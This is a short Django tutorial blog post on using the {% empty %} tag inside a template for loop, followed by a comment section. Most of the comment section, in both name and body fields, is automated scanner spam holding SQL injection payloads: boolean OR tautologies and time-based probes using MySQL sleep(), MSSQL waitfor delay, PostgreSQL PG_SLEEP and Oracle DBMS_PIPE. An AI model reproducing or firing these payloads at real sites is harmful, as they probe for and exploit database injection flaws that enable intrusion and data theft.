Django Tips - Using empty in for loops

Django Tips - Using empty in for loops

/ #Django


There are different ways to check if a list is empty, but this is by far the best.

Sometimes, you need to check if a list is empty before you start looping through it. But is you just want to show when a list doesn't have any objects, then this {% empty %} is the way to go :-D

<div class="articles">
  {% for article in articles %}
    {% include 'partials/article.html' %}
  {% empty %}
    <p>No articles here...</p>
  {% endfor %}
</div>

Comments

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

-1 OR 2+647-647-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:26

-1 OR 2+976-976-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:26

-1' OR 2+811-811-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:26

-1' OR 2+319-319-1=0+0+0+1 or 'jyF8Fqze'='

EFSArCBy | Jul 02, 26 07:26

-1" OR 2+308-308-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:26

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:26

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:26

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:26

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:26

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:26

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:26

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:26

555SPp5g3OW'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:26

555-1 OR 528=(SELECT 528 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:26

555-1) OR 202=(SELECT 202 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:26

555-1)) OR 334=(SELECT 334 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:26

5553SUN1dPV' OR 95=(SELECT 95 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:26

555xUJyZgnp') OR 963=(SELECT 963 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:26

555D3Il6iax')) OR 606=(SELECT 606 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:26

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:26

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555'"

EFSArCBy | Jul 02, 26 07:26

@@g0z5R

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

-1 OR 2+698-698-1=0+0+0+1 -- | Jul 02, 26 07:27

555

-1 OR 2+989-989-1=0+0+0+1 | Jul 02, 26 07:27

555

-1' OR 2+610-610-1=0+0+0+1 -- | Jul 02, 26 07:27

555

-1' OR 2+220-220-1=0+0+0+1 or 'bxmP66uP'=' | Jul 02, 26 07:27

555

-1" OR 2+713-713-1=0+0+0+1 -- | Jul 02, 26 07:27

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:27

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:27

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:27

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:27

555

EFSArCBykHauWlDn'; waitfor delay '0:0:15' -- | Jul 02, 26 07:27

555

EFSArCByVAKRo94l' OR 117=(SELECT 117 FROM PG_SLEEP(15))-- | Jul 02, 26 07:27

555

EFSArCByMlMewajC') OR 652=(SELECT 652 FROM PG_SLEEP(15))-- | Jul 02, 26 07:27

555

EFSArCByLDZ1MqMg')) OR 406=(SELECT 406 FROM PG_SLEEP(15))-- | Jul 02, 26 07:27

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy'" | Jul 02, 26 07:27

555

@@IbGoJ | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 02, 26 07:27

555

EFSArCBy | Jul 20, 26 08:29

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

-1 OR 2+214-214-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:30

-1 OR 2+395-395-1=0+0+0+1

EFSArCBy | Jul 20, 26 08:30

-1' OR 2+968-968-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:30

-1' OR 2+653-653-1=0+0+0+1 or 'GPF9ai08'='

EFSArCBy | Jul 20, 26 08:30

-1" OR 2+143-143-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:30

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 08:30

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 08:30

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 08:30

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 08:30

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:30

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:30

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:30

555j01m24EE'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:30

555-1 OR 130=(SELECT 130 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:30

555-1) OR 473=(SELECT 473 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:30

555-1)) OR 395=(SELECT 395 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:30

55521LDaskp' OR 772=(SELECT 772 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:30

555iiU9TFf6') OR 60=(SELECT 60 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:30

555N1V6HWLq')) OR 422=(SELECT 422 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:30

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 08:30

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555'"

EFSArCBy | Jul 20, 26 08:30

@@ICd9G

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

-1 OR 2+393-393-1=0+0+0+1 -- | Jul 20, 26 08:30

555

-1 OR 2+935-935-1=0+0+0+1 | Jul 20, 26 08:30

555

-1' OR 2+401-401-1=0+0+0+1 -- | Jul 20, 26 08:30

555

-1' OR 2+720-720-1=0+0+0+1 or '5Ym8Lqaf'=' | Jul 20, 26 08:30

555

-1" OR 2+741-741-1=0+0+0+1 -- | Jul 20, 26 08:30

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 08:30

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 08:30

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 08:30

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 08:30

555

EFSArCByJvPiYX51'; waitfor delay '0:0:15' -- | Jul 20, 26 08:30

555

EFSArCBy4u4fleiv' OR 639=(SELECT 639 FROM PG_SLEEP(15))-- | Jul 20, 26 08:30

555

EFSArCBy2wlNviEW') OR 742=(SELECT 742 FROM PG_SLEEP(15))-- | Jul 20, 26 08:30

555

EFSArCBy2Kl3c6DP')) OR 538=(SELECT 538 FROM PG_SLEEP(15))-- | Jul 20, 26 08:30

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy'" | Jul 20, 26 08:30

555

@@y6dsW | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

EFSArCBy | Jul 20, 26 08:31

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.